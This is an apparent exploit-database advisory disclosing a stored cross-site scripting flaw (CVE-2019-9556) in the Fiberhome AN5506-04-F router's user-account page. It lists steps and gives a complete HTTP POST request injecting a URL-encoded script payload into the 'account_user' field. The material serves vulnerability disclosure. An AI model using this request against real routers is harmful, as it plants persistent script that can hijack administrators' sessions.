Fiberhome AN5506-04-F RP2669 - Persistent Cross-Site Scripting

# Exploit Title: Fiberhome AN5506-04-F  - Stored Cross Site Scripting
# Date: 04.03.2019
# Exploit Author: Tauco
# Vendor Homepage:  http://www.fiberhomegroup.com/en/
# Version:  RP2669
# Tested on: Windows 10
# CVE :  CVE-2019-9556

Description:
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Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.

https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)

Proof of concept : 

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1. Login with credential 192.168.1.1
2. Go to Management
3. Open User Account
4. Add user
5. Inject the post parameter "account_user"
6. Encode Url <script>alert("XSS")</script>

POST /goform/setUser HTTP/1.1
Host: 192.168.1.1
Content-Length: 101
Cache-Control: max-age=0
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.1/management/account_admin.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: loginName=admin
Connection: close

account_user=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e&account_pwd=password123&account_pwd2=password123&btnApply1=Apply&curIndex=new